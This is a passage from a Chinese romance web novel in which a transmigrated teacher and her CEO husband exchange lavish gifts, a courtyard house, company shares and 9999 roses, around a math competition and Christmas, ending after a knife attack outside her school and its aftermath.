江明羧停下擦拭头发的动作,目光落到金苒脸上,女人鼻子皱起一团紧蹙,像秋月枝头的桂花,他顿了顿,状似不经意开口:“你很关注那两个人。” “有吗?”她思考了下,“好像是有点儿。” 毕竟是书中的男女主,她这个看过书的读者,怀揣着点儿抱大腿的粉丝心态,应该也很正常吧。 江明羧的直觉总是敏锐的,他知道金苒有很多不同于其他人秘密,但她不说,他便没有问过,“你之前认识他们?” “不认识。”这次,金苒果断摇头否认。 她斟酌着词句,有些不知该怎么解释,“好比小说中的那种气运之子,世界意志都会为他们让步,我感觉魏雅和那位小陈总便是那样的人,和他们打好交道总不会吃亏。” 这话说得毫无逻辑,比如不认识又怎么知道对方是“气运之子”,以及那毫无根据的直觉,任谁听了都会觉得莫名其妙。 但江明羧听完之后只是点点头,没有再说什么。 金苒也不知对方相信没有相信。 庆功宴之后,陈导的剧如期上映。热搜开始变成天天讨论剧情和人设,关于那晚的明技老板和老板娘,很快就被网友们遗忘到脑后。 而身为魏雅的女主终于崭露头角,她凭借出色的演技和剧中美强惨的人设,吸引了大批粉丝。 从一个默默无闻的十八线演员,一跃成为叫得上名字的新星,陆续有导演和广告商主动找上门来寻求合作。 魏雅也没有放弃这些大好机会。 她是从底层摸爬滚打上来的,经历过各种冷眼、挫折,因此格外珍惜每一个邀约,只要剧本尚可,便毫不犹 豫地接下,随后马不停蹄地辗转于各个剧组之间,用勤恳和实力一步步巩固自己的位置。 以至于魏雅和陈家太子爷传出来的恋爱八卦时,粉丝们居然一点儿也不在意。 在意什么?恋爱又不影响他们姐姐搞事业,男人,还是一个有钱的成年男人,都是他们姐姐前进路上的助力罢了。 反倒是经过最近这几件事的金苒,突然想明白了。 她和江明羧之间的关系,如今也能称得上情侣,不,甚至比那更进一步,他们直接跳过了情侣间暧昧拉扯的阶段,直接法律认可的夫妻。 这意味着在这个世界上,他们是最亲近的人——没有血缘却胜似亲人,从此命运相连,荣辱与共。 当然,在二十一世纪,结了婚的夫妻也能离婚,虽然现在的她已经不再像刚穿书时那样总想着离婚,但在没有离婚前,没有写过什么财产分割的江明羧打的每一秒工,赚的每一分钱,都有她的一半! 所以之前的她到底为什么觉得不好意思?她不花他的钱,别人还惦记着呢! 于是那张黑卡重新被拿了出来。 三秒钟后,金苒叹了口气,她发现自己竟然没有什么花钱的地方! 林太太他们倒是时常参加各种时装秀和珠宝展览,也会约她一起,但看着那动辄十万百万的“矿石”,她果然还是没办法大手大脚。 金苒非常没出息地把黑卡收起来。 然后对刚从公司回来的江明羧感慨:“我发现我真是一个善解人意的妻子。” 江明羧:“?” 虽然不懂妻子为什么突然这样说,但他非常贴心地保持了沉默,伸手揉了揉面前柔软的头发。 “嗯,你说得对。” 抛弃了黑卡之后,隔天,金苒又拿出来一张储蓄卡。 这是她自己的卡,里面除了工资,还有每个月五十万的零花钱。之前她从未在意过这张卡,这次打开一看,发现不知不觉间已经攒下了三百多万。 金苒有些恍惚,居然有这么多钱了。 虽然比不上圈子里那些真正的富豪,但比起普通人,她也算小有积蓄了吧? 更重要的是,和黑卡里那些天文数字般的额度相比,三百万倒显得没那么多了,花起来不心疼! 金苒恢复了豪门太太该有的“豪气”,大手一挥,将其中三分之二投资了魏雅的新剧,剩下的留作日常开销。 以她现在的身份,其实并不需要自己花钱,甚至因为之前的庆功宴,让众人真正意识到她在江明羧心中的地位,或是为了巴结江明羧,或是想加入她和林太太的小圈子,金苒陆陆续续收到了好多礼物。 ——即便大部分她都退了回去。 十一月底,当学校要带着通过省联赛的学生去参加CMO、数学奥林匹克全国决赛的时候,金苒还是用那张卡,为自己带着的唯一学生,购入了一批物资清单。 没错,江许黎第一次参加省赛就拿到了一等奖,不过省赛的含金量比全国要低,学校奖励过一次之后便没有再特意关注 上到衣服鞋子、考试文具,下到水杯、药品、防暑工具,满满两大收纳袋。 这么多东西金苒当然不会自己拿了,秉持着谁享用谁付出的原则,她一股脑全部塞进了江许黎的行李中。 江许黎竟然没有抗争,甚至主动询问金苒还有什么需要带的,大公无私地让金苒刮目相看。 十一月的A市,秋意渐浓,早晚沁着微凉的寒意,硕果湾的小区路上,每天都能见到一层薄薄树叶。 比赛的地点在首都,比A市更偏北。出发前,金苒换上了宽松软和的毛衣,柔软的羊毛堆叠在下巴处,挡住了外面寒厉的冷风。 除此之外的出行,他们只需要跟着学校租赁的大巴车一起走,省下了许多麻烦。 更多的是忙碌。 江许黎这次虽然下场,但目的只是为了积累经验,队伍里的其他学生却是实打实为了考出成绩而来的。 平日训练中成绩不错,可竞赛之所以是竞赛,是因为带了比赛的性质,在高压和陌生的环境中,学生的状态如何,表现如何,谁都说不清。 所以这些学生肉眼可见变得越来越紧张。 对此,金苒也有些无奈。 抵达酒店后,简单和家里回报了安全,金苒便全身心投入到忙碌中,和其他带队老师一起安顿学生。 不仅要安排衣食住行,还要注意学生心理健康,排解压力。 结果饶是如此都险些出了岔子。 入住酒店第一天晚上,有学生因为紧张偷偷买酒喝,要不是路过的江许黎闻到酒味告诉金苒,后果简直不堪设想。 事后带队老师们更加警惕,金苒也一直紧绷着神经,不敢放松,赛前拉着学生们在同一处刷题做题。 以至于根本分不出心神关注其他。 三天时间转瞬即逝,当学生们从考场出来,脸上或恍惚或高兴的释然笑容,金苒才真正卸下肩头的重担。 江许黎依旧和比赛之前一样镇定,实在看不出什么,金苒打算回去后私下再询问,可当回到酒店,看到从隔壁房间出来的江明羧时,她整个人都是懵的。 “你什么时候来的?!” 第92章 第92章给江太太的聘礼 江明羧是昨天晚上到的。 他来首都这边出差,忙完之后没有立刻返回A市,而是过来找金苒和江许黎相聚。 不过他没有打扰他们,直到今天竞赛结束才出现。 江明羧的到来让疲惫的金苒又惊又喜。 明明每天都能见面,这两天时间她忙于工作,甚至没空想他,可当那人真的站在面前时,心跳还是漏了一拍。 “什么时候走?” 江明羧没有进房间,金苒因为是和其他代课老师一起住的,便也没有邀请:“我们商量好了,明天早上再出发,今天下午允许学生们自由活动,好不容易来一趟首都,学生们都想逛一逛。” “你呢?”她问。 江明羧语气平缓:“房子装修完了,我打算下午去看一眼,要不要一起?” “房子?”金苒诧异地抬起头,“你买房子了?” 江明羧轻笑了下:“是之前的一处房产,旁人抵押的四合院,我看着还不错就接手了,一直没有动过,最近才想着装修,以后来首都也能有一处休息的地方。” 金苒听得蠢蠢欲动。 在虞山置办房子便算了,毕竟虞山房价低,好地段也不过才几千一平,可这里可是首都,寸土寸金,即便她如今小有积蓄,也没有那个胆量在首都买房。 江明羧居然一声不吭就买了,甚至是四合院那样的户型! 这就是霸总的财力吗? 不过……这房子是江明羧婚前买的吧?应该算他的个人财产? 金苒漫不经心地想着。虽说婚后财产是夫妻共有的,但以两人的收入差距,怎么看都是她占便宜,平时花他的钱可以不客气,涉及房子这样的大件资产,她还是分得清轻重的。 …… 江许黎没有跟着,因为同行的学生拉着他一起去逛故宫。 金苒听说后干脆拜托对方帮自己带点儿纪念品,比如什么雍和宫手串,听说基于四大爷工作狂魔的人设,求姻缘可能没用,求事业学业特别灵验! 江许黎:“……” 他表情复杂:“真没看出来你这么迷信!” 金苒斜眼睥他:“你也不想想,我这都是为了谁啊。” 家里三口人,只有江许黎一个还在读书的高中生,今年刚刚升了高二,正是冲刺高考的关键时期。 所以这手链是给自己买的? 想明白这一点,江许黎脸色微红,再说不出什么吐槽的。 “等会儿我把钱转你……” “不用。”江许黎咳了咳,她有这份心已经很好了,他怎么可能还让她出钱。 遗传了霸总总裁特质的下一任小霸总这样想到。 金苒眼睁睁看着高瘦的少年话都 没说完就转身离开,一时摸不着头脑。 哎,她还不是为了教导主任的位置,有了四大爷的祝福加持,这次无论如何她肯定能拿下! 买下的四合院在二环内,灰砖青瓦,朱漆大门,推门进去,迎面就是一棵亭亭如立的桂花树,如今已过十月,桂花落了大半,零星一两朵藏在碧绿的繁茂枝叶间,织出玲珑画布,呼吸间幽香阵阵,连绵不绝。 树下置着一把藤编躺椅,深棕色,前端微微翘起,兜住落下的嫩黄碎花。 只一眼,金苒就喜欢上了这里。 就像每个生活在钢筋水泥森林里的人,心底都藏着一个寄情山水的田园梦,金苒也是如此,硕果湾的别墅固然气派,但空间太大,装修又太过西式,总让她觉得有种空中楼阁的美。 眼下这个四合院正契合了她心目中的“中式庭院”,接地气的生活。 当然,在得知它的价格后,金苒更加喜欢了。 细细查看内部的装修布局,商量每一个房间分配,比如最大的是主卧,西间有一个大窗户,可以给江许黎当书房。 兜兜转转,最后又回到院子中。 金苒迫不及待坐到躺椅上。 她早就相中了这个位置,脖颈舒适地倚靠在藤编的椅背上,午后的阳光划破树木,透露下来星星点点的光。 此情此景,可谓是忙中偷闲,金苒甚至有心情和江明羧讲起自己的梦想:“我们家的房子是那种六层的老小区,环境特别差,更重要的是公摊只有楼梯间那点小空间,遇上个不好的邻居,还要被鞋架占满,养花只能养在阳台,所以我特别想住在有院子的房子,上学的时候,一直纠结是买楼房一层带院还是买别墅。” “嗯,后来呢?” 她很少提及她的事情,江明羧听得有些认真。 金苒无奈叹了口气,两手往旁边一摊:“后来毕业后才发现我想多了,因为这两个我都买不起。” 语气无奈,带着点儿可怜巴巴。 江明羧怔了怔,随即缓缓背过身去。 风从院外吹过,惹得头顶树叶瑟瑟鼓鸣,金苒瞪起眼睛,别以为她看不出他在偷笑:“哼,你这种资本家当然不懂我们无产阶级的买房焦虑!” “抱歉。”江明羧转回身子,不过眼角还是能看到笑意,“其实我第一套房子是借钱买的。” “真的假的?” “真的,那时候房价还没有这么高,买房前我研究过A市的房价走势,觉得还有上涨空间,后来公司搬迁,因为房子离新办公地点太远,又转手卖了出去。” “那价格肯定涨了很多。”金苒笃定道。 江明羧笑着点头:“大概翻了二十倍。” 嘶…… 事实证明,大佬年轻时候也不是普通人,金苒听得羡慕死了,她那个年纪整天就知道和朋友做白日梦、追星追剧,哪会关注什么房价涨跌。 “侥幸而已。”对此,江明羧倒是淡定。 那片区域后来被政府规划成金融商务区,地铁、商圈、学校一应俱全,否则涨幅也不会这么夸张。 “谁说的,分明是你厉害。”金苒羡慕归羡慕,不至于否认江明羧的水平,她伸手拉住男人的衣袖,指尖无意识地摩挲着布料上的纹路,这个动作不带任何暗示,纯粹是习惯性的小动作。 “大家都知道房子好,可要不就是手上没钱,要不就是有钱也不敢买,没有你的决断力,有你决断力的,又没有你的眼光,所以江明羧,活该你能成功。” 江明羧终是忍俊不禁。 他年纪不算小了,算得上中年,笑起来时眼尾免不得显出几丝细纹。但这纹路非但不显老态,反而为他平添几分成熟男人特有的魅力。 他想,或许只有金苒会这样看他。在旁人眼里,他不过是个运气好的赌徒,江家人更是觉得他脑子有病,故意拉他们下水,外界的风言风语,江明羧一向不屑一顾。 可等真有一个人夸赞她,崇拜他,他才发现自己并非不在意。 在金苒嘟嘟囔囔中,江明羧独自走到方才的屋子里,片刻后拿着一个东西出来。 “给。” “什么啊?” 金苒懒洋洋地拖着尾音,午后的阳光晒得她骨头都酥了,连眼皮都懒得抬。 顺手接过来,发现是四合院的房产证,她也没有放在心上,只当是江明羧单纯给她看一看,直到瞥见产权人那栏,赫然写着她的名字。 “???” 纤细的手指猛地顿住,某一瞬间,金苒觉得鼻尖萦绕的桂花香变得浓烈,熏得她头晕目眩,恍如梦中。 没等回过神,江明羧又递来一份文件:“这是明技10%的股份转让协议,我手中持有76%的股份,不过因为控股问题,只能赠予你这些,还有这张卡,里面是每年的分红,属于夫妻共同财产,全都给你。” 金苒:“!!!” 巨大的惊喜一个接着一个,再“坚强”的金苒也无法扛住,被砸蒙了。 她不可置信地抬起头,江明羧正垂眸看她,目光深邃,浓密的睫毛微微敛下,里面藏着太多让人读不懂的情绪。 什么意思? 是试探还是剖白真心? 金苒心脏跳的有些快,对于男人的心思,她有些读不懂。 算了,读不懂就读不懂吧,在这样的情况下,她觉得自己的脑子没有绕成一团已经非常不错了,于是选择直接问:“为什么给我这些东西?” 江明羧回答:“想给了。” 这叫什么话,金苒很不满意,她眼睛一转,从躺椅上站起来:“我听林太太说,许总每次犯错后都会给林太太补偿,衣服珠宝房子,你是不是也做了什么对不起我的错事?” 两人面对面,江明羧清楚看到了女人脸上的探究,他眼底划过一丝笑意,故意问:“比如?” “比如在外面找小三小四什么的。” 江明羧:“……” 女人似乎对于男友和丈夫总是缺乏信任,但江明羧明白,这点和女人没有关系,是男人没有给女人足够的安全感。 他忍不住伸手将人抱在怀中,金苒推他,也没有松开,反而搂得更紧了些。 他道:“没有小三小四,自始至终只有你一个人。” “那这些东西?” “是给江太太的聘礼。” 聘十里红妆,铺锦绣长街,是他能给的最盛大的承诺。 也是他得知她身份后,妄想把人留下来的把戏和执念。 第93章 第93章金老师,你和你老公准备…… 对于江明羧的心思,金苒不是没有察觉。 但对方最后的做法还是让她有点感动。 说一千道一万,男人对你的喜欢和在意,并不是体现在嘴上的甜言蜜语,而是在具体行动以及他愿意付出什么。 默默准备这一切的江明羧的在她这里交出了一个满分答卷。 她忍不住回抱住他,轻声问:“那我是不是要给你回礼?” 说罢不待对方反应,便踮起脚尖将吻印上江明羧的嘴唇。 又是一阵清风吹拂,树梢簌簌恍若低语,那些小巧的桂花从枝头告别,飘飘扬扬,像是洒下一场浅金色的雪。 倾洒在树下相拥的男女身上。 唇间,尽是桂花甜香。 / 奥数竞赛需要一个多月才出成绩,从首都回来后,金苒的工作变得没有那么忙碌。 每天的课程对熟悉的她来说已经不废多少精力,竞赛也只需要每周抽出少量时间辅导,如此一来,她有了大量属于自己的时间。 第一件事情是硕果湾的物业邀请她参加社区活动。 这么久的时间,她几乎忘记自己还加过小区的物业群,直到收到物业经理的信息:【小区组织“巧手传爱”手工活动,邀请业主们一起制作毛线玩偶和圣诞贺卡,献出一份爱心。】 【献爱心?】金苒有些疑惑。 【是的,咱们小区和市儿童福利院合作,这次做的手工制品会捐给孩子们。】 怕她拒绝,物业经理还表示时间在周日下午三点到四点,不会耽误太长时间。 金苒翻了下日历,发现当天是平安夜,自己并没有什么事情,便爽快答应下来。 说起来,在此之前她从来没有关注过这个并不放假的节日,可经这么一提醒,她突然注意到办公室里早就弥漫着节日气息。 譬如好几个老师的工位上都挂起了迷你圣诞袜,桌角摆着小小的圣诞树,连电脑壁纸都换成了应景的雪景图。 课间空,老师们也开始频繁聊起圣诞节的事情。 年纪大点的老师大多已有家世,他们不爱过洋节,但家里的孩子喜欢,所以反而是最忙的。 既要张罗着装饰圣诞树,又要精心挑选礼物。更有几位当爸爸的,特意网购了圣诞老人的行头:“没办法,孩子年年都盼着见圣诞老人呢。” 年轻的老师反而简单点。 和闺蜜朋友出去吃饭,和男友约会逛街,有个今年刚毕业的女老师表面吐槽实则炫耀自己同为老师的男朋友:“他就喜欢送花,我都说了好几次了,华而不实,还不如买点实用的东西。” 其他人便说:“你真是身在福中不知福,我家那位只会送菜花。” “我男朋 友不过节日,每次都是我拉着他出门。” 女老师听着众人羡慕,心中有些得意,余光看到一直没有说话的金苒,忽然开口询问:“金老师,你和你老公准备怎么过节呀?” 倒非恶意,只是有点儿小炫耀吧。 同为新老师,两人前后入职文承,金苒短短半个学期就做出了成果,女老师免不得升了点儿比较的心。 金苒似无所察,笑了笑:“他比较忙,我们没想好怎么过。” 入职那会儿,大家便知道金苒已婚,也经常看到有豪车来学校接送。一开始还有人嫉妒,后面不知道从哪听说了金苒应聘时的竞言——“名校毕业,豪门有人,孩子已大,不要二胎”,众人的嫉妒心逐渐变成了同情。 哪有豪门不爱生孩子的,除非是伤了身子,生不了。 此时,女老师显然也想到了那个传言,看向金苒的目光有些同情。 金苒可不知道同事们的脑补。 周末给学生补完奥数,她带着江许黎去参加物业组织的互动,美其名曰劳逸结合,放松心情。 没想到的是,那位总是笑眯眯的物业经理能力出色,现场居然有二三十人。 金苒还看到了不少熟悉的面孔——住在同一栋楼的李太太、小区业委会的王姐,甚至还有那位丈夫在市政府任职的周太太,大家互相打招呼,之后便在主持人的指导下,学习做毛线玩偶。 本就是为了献爱心,所以大家都很积极,加上手艺并不难,没一会儿,金苒就做出了两个。 那是两只兔子玩偶,一只通体墨绿,唯独耳朵和尾巴点缀着雪白色;另一只则是全黑的造型,领口处用红色毛线精巧地系着一个小小的领结,有种正经的绅士感。 金苒越看越满意,甚至想要自己留下来。 正好圣诞节她还没有准备礼物,上次的贝壳手链广受好评,换成亲手做的小玩偶想必应该会更喜欢吧? 这样想着,旁边的江许黎凑过脑袋:“这是什么,鳄鱼?” 金苒:“……” “兔子!栩栩如生的兔子!”某人恼羞成怒,声音提高了八个度,“你到底有没有仔细看呀,眼睛近视就去配副眼镜!” 江许黎神情复杂。 说实话,他怎么也看不出兔子的模样,但看着金苒恼羞成怒的样子,还是选择把实话咽回去。 手中动作不停,回忆老师的示范,十指仿佛翻花绳似的翻飞,没一会儿,一个真正栩栩如生的兔子便出现在眼前。 嗯,粉嫩嫩的粉色。 见状,方才还信誓旦旦的金苒眼睛闪亮。 不知怎么,她最近爱上了粉色,衣服鞋子要粉色,铅笔水杯要粉色,就连睡衣都换成了粉色,所以江许黎的小玩偶简直戳到了她的心窝。 她也不客气,直接夺走少年手中的粉兔子:“其实我觉得交换更有意义。” 江许黎挑眉:“你用什么和我交换?” 金苒脸部红心不跳地把怀里的白兔子递给对方:“用我的鳄鱼。” 主打一个能屈能伸。 最后,母子俩做的三个玩偶都没有上交。 和物业商量后,金苒用自己卡中的钱给福利院的小朋友买了新玩具,并捐献了一笔钱。 不算多,但也有她一年的工资,她不在乎圣诞节是本土节日还是外国节日,只是希望在高兴的日子里,每一个小朋友们都能收到礼物。 / 不止学校里有圣诞的气息,在公司的江明羧也注意到了员工们的小声讨论。 忙完工作后,他回到办公室,桌面放着一本日历,日期显示明天是圣诞节。 圣诞节需要送礼物吗? 显然,江总从来没有庆祝过圣诞节,事实上,除了法定节日,其他节日江明羧向来都是直接忽略的。 但此刻,想着员工们的热谈,他觉得金苒大概会很喜欢。 想到这里,江明羧叫来王特助:“明天帮我订些东西。” 第94章 第94章9999朵玫瑰花 今年的圣诞节不太巧,赶上了周一。 这也就意味着,无论准备了多么精心的惊喜,都得等到傍晚下班放学后才能实现。 早晨起床的时候,金苒感觉体表温度下降了许多,于是返回衣帽间,换上了毛呢大衣和毛茸茸的高筒靴,出门时撞见下楼的江许黎,看到少年单薄的衣物,金苒忍不住皱眉:“你怎么穿的这么少?” “少吗?” 江许黎低头看自己,往年他也是这样穿的,从来没觉得冷过。何况今年改坐轿车上学,比骑摩托车时更要暖和。 然而有一种冷叫继母觉得你冷,金苒坚决认为江许黎会被冻死,无奈之下江许黎只能回去套上了秋裤,并且必须要用袜子把裤腿给勒住。 江许黎:“……” 这么土的穿搭,打死也不能让小弟们知道。 江明羧已经坐在餐桌前。 男人一年四季的西装皮鞋,领带打得一丝不苟,只多开了两枚的纽扣彰显出古板中一丝傲慢的随意。 刀叉轻擦过餐盘发出细微声响,卷起的袖口露出线条分明的手腕,在大冷的寒天,隔着距离传来一身火气。 见状,金苒心中蠢蠢欲动,想让男人也穿上秋裤,但对方一句办公室里有空调就轻松粉碎了她的小心思。 哼,无趣! 江明羧忽然回过头,金苒被打了个措手不及,一时间作怪的表情未来得及收起来,僵硬在脸上:“我记得你有一条灰色的围巾?” “……啊?” “能借我戴一下吗?” 江明羧眼角带笑,轻飘飘就让金苒下垂的嘴角重新翘起来。 她咳了咳,随后故作绷紧嘴角,不要让自己的高兴显得太明显:“你戴我围巾干什么?上面还有卡通动物,多幼稚。” 江明羧挑了挑眉,直截了当道:“我以为这是给我的礼物。” 同住一个屋檐下,彼此的心动难免心知肚明,那条亲手缝制的兔子围巾,他不经意间已经瞥见过好几次。 没等金苒回应,他又补充道:“其实我也给你准备了礼物。” …… 到学校后,金苒才后知后觉意识到,江明羧会耍滑头了。 一上午,她都在期待对方说的礼物是什么。 是房子?游轮?还是私人小岛?天知道她现在的想象力为什么会变得这么大,甚至越来越可怕。 都怪某个人惯的。 徐珍听完她的猜测,沉默了三秒钟,然后怒而和她分餐而食,言其已经脱离无产阶级群众,昔日好友划清界限,并夺走最后一块红烧肉 金苒自知拉仇恨,没敢说刺激对方说自己还有明技的股份,只能默默叹气,灰溜溜地回到办公室。 彼时,办公室热闹非凡,同事们正热火朝天地讨论着什么,金苒走近了才听清,原来是在说明技和学校的合作协议,之前提出的"名校+企业"合作模式中,校长答应开设一门企业共建选修课。 “这学期吗?”她惊讶问。 “对,具体时间没有确定,”同事摆摆手,“其实主要走个形式,说是选修课,一学期能讲一次就不错了。” “你们说明技那边派谁来啊?” “谁知道呢,不过总不可能是江总亲自来吧?” “想什么呢,江总日理万机,连自己儿子的家长会都没空参加,怎么可能来上这种课!” “那可不一定。”之前那位炫耀男友的女老师突然看向金苒,“上次金老师的家长参观会,江总不就到了?我看金老师和江总关系不错,有没有听说什么内部消息?” 金苒:“……” 面对同事们八卦的目光,她诚实守信道:“我什么都不知道。” 毕竟早上离开的时候,江明羧和她谈论的还是那条灰色围巾。 见她这副模样,同事们便没有再追问,本就是开玩笑的闲谈,谁也不会觉得她和江明羧 有什么特殊关系。 而且很快就有新的事情吸引了大家注意力。 昨天那位大肆炫耀的年轻女老师的男朋友果然送来了鲜花,五朵玫瑰花外加五朵康乃馨,路过桌边芬芳扑鼻,惹得女同事们羡慕不已。 “你男朋友对你真好。” “听说你男朋友已经评上了职称,他今年才三十六岁吧,真是年纪轻轻前途无量。” “要我说,找对象还是得找体制内的,两个人都是铁饭碗,工资福利加起来比普通做生意的课好多了。” 年轻女老师果然喜笑颜开。 尤其是注意到金苒盯着自己愣神,心情更是美妙,想都没想走到女人面前:“金老师也喜欢吗,怎么不让您家那位也送一束?” 只是想起学生送花的金苒:“……” 一时间,她有些一言难尽。 如果第一次的挑衅金苒还没有放在心上,这会儿再看不出对方的“故意”,她就是真傻了。 但奇怪的是,她并不觉得生气,反而有种荒谬的滑稽感——即便是学校这样教书育人的地方,也逃不开这些职场小心思。 花?她当然喜欢,但为了一束花和同事争强斗胜,未免太掉价了。 她凭本事进的学校,凭本事考过教师编,自然也会凭本事成为教导主任。 正要张口怼回去,办公室门口突然传来一个声音:“金老师的东西要签收!” 众人下意识望过去,只见四个穿着制服的配送员正小心翼翼地搬着一个巨大的花架,那是由9999朵红玫瑰组成的巨型花束,比老师们的办公桌都要大,鲜艳的花瓣熠熠生辉,几乎挡住了走廊的通道。 与之相比,年轻女老师手中的小花束瞬间黯然失色。 “你,你们找谁?” 配送员不得不再次大声问了一遍:“金苒金老师在吗,这是您先生送您的圣诞节礼物,请签收。” 办公室瞬间鸦雀无声。 方才还在炫耀的女老师,脸上的表情几乎维持不住。 不是说不过节日?! 就连金苒也愣了愣,但她很快反应过来这是谁的手笔。 然后,忍不住笑了。 谁能想到堂堂明技的总裁还会玩这种热恋情侣的浪漫小把戏呢? 她隐约记得那本《恋爱必做的一百件小事》里没有这一条啊。 可不可否认,金苒是很高兴的。 没有哪个女人不喜欢惊喜和浪漫,尤其江明羧这惊喜来得如此恰到好处,看见女老师僵硬的表情,金苒只觉得遍体爽快,她又不是包子,被欺负到头顶还要一味忍让倒退,她当着所有人的面,落落大方收下了那束盛大的玫瑰花。 并且在女老师阴阳怪气的试探中,非常小白花地说:“我不知道啊,可能是我先生觉得我辛苦吧,他一向很敬佩我的老师职业呢。” 女老师:“……” / 文承中学的学生们在热议一件新鲜事。 也是巧了,那些送花的配送员进学校的时候正是课间空,9999朵的玫瑰花实在壮观,想不引入吸引人都难,当时好多学生亲眼目睹。 有消息灵通的,很快就打听出内部情况:“是送给高二数学老师金老师的。” 作为八卦能手,陈训良当然不会错过这个大新闻。他神神秘秘地凑到好哥们身边,神情颇为忸怩:“你说是谁给金老师送的花?这么大手笔啊。” 江许黎头都没抬,他看着笔下的题目,眉头微微皱着:“肯定是我爸送的。” 大战起鼓还没有被扔掉,除了他爸不做他想。 陈训良张大嘴巴,刚想反驳,转念一想又觉得合情合理。 江叔叔和金老师是夫妻,还是大人口中的恩爱夫妻,互送节日礼物似乎是一件非常正常的事情。 尽管这和他记忆中的江叔叔形象大相径庭,看起来古板又严厉的江叔叔,居然也有铁血柔情的一面…… 他忍不住偷瞄好友的反应,却见江许黎不仅没露出半点不悦,反而低着头小声嘀咕:“这么晚才送礼物,幸好没有忘记……” 陈训良:“……” 他怎么觉得,全世界只有自己在着急呢。 算了算了,皇帝不急太监急,他撇撇嘴,酸溜溜地说,“大人互送礼物,我们小孩子还是别掺和了。”目光扫到江许黎桌上那个造型奇特的车钥匙扣,转移注意力,“咦,这是从哪买的玩偶,丑死了。” 说罢伸手去碰,结果还没有碰到,已经被江许黎迅速收起来:“不是说找王舒雅问学分的事情,我刚才听见她去操场了。” 闻言,陈训良是立刻来了精神,也不惦记什么玩偶了,他得去问问自己为什么平白多扣三分! 等耳边清净了,江许黎重新拿出兔子玩偶,食指拨了拨歪曲的兔子耳朵。 哼,他可是第一个收到礼物的人。 / 傍晚,金苒接到江明羧的电话,脸上未语先笑。 “我在校门口,小孙去办别的事情,介意今天搭你的车回去吗?” 江明羧低沉的嗓音从另一端传来,清清凉凉,带着秋冬的冷厉。 如今金苒的车技已经相当娴熟,载人完全不在话下。得知江明羧过来,她提前早退二十分钟,两人在学校外见面:“学校车库满员,我把车子停在了后街那边……对了,今天这么早,不会又是总裁私自早退吧?” 江明羧淡定道:“是体恤员工,圣诞节,让他们早点回去陪家人。” “哇哦,原来江总不仅是个工作狂,还是个这么体贴的好老板。” 街边落地窗映出女人含笑的眼睛,夕阳镀上一层柔光,她突然放轻了嗓音:“礼物我收到了。” “嗯,喜欢吗?” 金苒没有回答,反而问:“怎么突然想送花。” 江明羧略迟疑:“上次学生们送你的花,我看你很喜欢。” 所以他也送了她花。 但其实,他并不确定她会不会喜欢,这会儿免不得有点儿紧张。 金苒哼了声,才没有被他轻易糊弄过去,直言道:“送花就送花,怎么送到学校来啊,还是9999朵,江总可不要说什么顺路之类的话。” 她直勾勾盯着他,轻易看穿了某些小心思。 江明羧果然沉默下来。 片刻后:“抱歉,是我让他们送到学校。” 她说的没错,是他故意大张旗鼓送花,想用这种态度向所有人宣告他们两人的关系。 这样想着,嘴角流露出一丝苦笑:“如果你介意,下次不会……” “其实 那花很好看,我还挺喜欢的。”金苒突然打断他的话,转而回答第一个问题,“还是江总这九千九百九十九朵玫瑰送的不真心?” 这次江明羧没有犹豫,回答的斩钉截铁:“是真心。” 金苒嘴角翘起,又哼了声,看在他是为了讨好她的份上,那点儿往事就既往不咎了。 说到底,她本就没有刻意隐瞒两人关系的意思。 但心里还是不想轻易放过某人,问就是虽然花好看,可9999朵花太重了,他根本没有想过她要怎么拿,就是想直接累死她!!! “……我在学校一直很低调,现在全校师生都知道了我收到9999朵玫瑰花的事情,说不定以后那些学生根本不害怕我了!” 烦躁起来的女人连着声音都是蛮横的,江明羧听着耳边喋喋不休的抱怨,紧绷的眉眼却渐渐舒展开来。 半晌,忽然捂住她的手,低低笑了一声:“金老师是好老师,学生们不会怕你,只会敬重你。” 如此评价让金苒心头一热,正要回应,突然一阵刺骨的寒意从脊背窜上来—— “小心!” 远处传来一声喊叫,她下意识回头,一道寒光直刺,简二狰狞的面孔朝着她猛地扑过来—— 金苒脸色骤白。 第95章 第95章到底谁说老男人不行的?…… 江明羧做了一个梦。 梦里简二因为他的报复,持刀在学校门口行凶,金苒虽然躲过了第一刀,却在后退时脚下一滑,额头重重磕在马路牙子上,当场昏迷。 好在检查结果显示只是轻微脑震荡,他守在病床前整整一天一夜,终于在第二天清晨,金苒睁开了眼睛。 得知消息的江明羧立刻反而病房,却在开门的瞬间,对上了女人排斥又鄙夷的打量。 那眼神陌生又熟悉熟悉,陌生是因为金苒从不会这样看人,熟悉则是因为……分明是“最初的金苒”看他的眼神。 门外传来一阵窸窸窣窣的动静,躺在床上的江明羧被打扰到,缓缓睁开眼睛。 胸膛里的错乱跳动还在继续,鼓动着太阳穴紧绷,他下意识去看躺在旁边的位置,头上贴着纱布的金苒正睡的香甜。 他不可控制被梦中的情绪影响,反应过来时,已经伸手把人推醒。 “唔,干什么啊。”有起床气的金苒很是不耐烦地翻了个身子,昨天经历过那些事情,她身心俱疲,恨不得能睡上三天三夜。可身后那只手还在不依不饶地摇晃着她,终于逼得她睁开双眼——黑白分明的杏眸蒙着晨雾般的水汽。 那双眼睛里盛着愤怒、难以置信,还有几分委屈:“江明羧,你疯了吗!我还要睡觉呢!” 见状,江明羧莫名松了口气。 是她。 她还在。 梦境轰然粉碎,江明羧恢复了正常模样,除了他自己,恐怕谁也不知道短短的几分钟,那起伏不定的心绪,荒芜的、能将人淹没的恐慌。 以及失而复得的欢喜。 他只是用低缓的声音,开口:“该换药了,伤口不能捂太久,会留疤。” 男人温柔的语气与冷峻的眉眼形成反差,让人无端想起一幅画面,猛虎嗅蔷薇。 金苒便知道,他也被吓到了。 心里叹了口气,昨天事情发生突然,躲在人群中的简二就冲出来,她当时心跳都停止了,关键时候,恐惧的求生本能让她身体条件反射后退,躲开了致命一击,却摔到了马路边缘。 当时血就流了满脸,从江明羧的表情和路人的尖叫的得知,应该是挺吓人的。 但金苒当时其实没有第一时间感到到疼痛,甚至还有空闲思考另外一个问题。 ——她和马路牙子还挺有缘的。 后来看着江明羧三两下制服简二,一脚将人踹飞的狠劲,她才对这个男人年轻时的战斗力有了直观认识。等警察赶到将人抓走,又去医院处理伤口,迟来的痛感才铺天盖地袭来,冷汗浸透后背,最终竟疼晕过去。 这会儿,金苒摸了摸额头,钝痛渐渐苏醒,吓得她立刻缩回手指。 她从床上爬起来,转身抱住江明羧,清晨微凉的空气里,两个人的体温透过单薄的睡衣相互传递,她能闻到他身上淡淡的松雪气息:“那你给我换吧,一定要轻点,我怕疼。” 江明羧安静地取来工具。 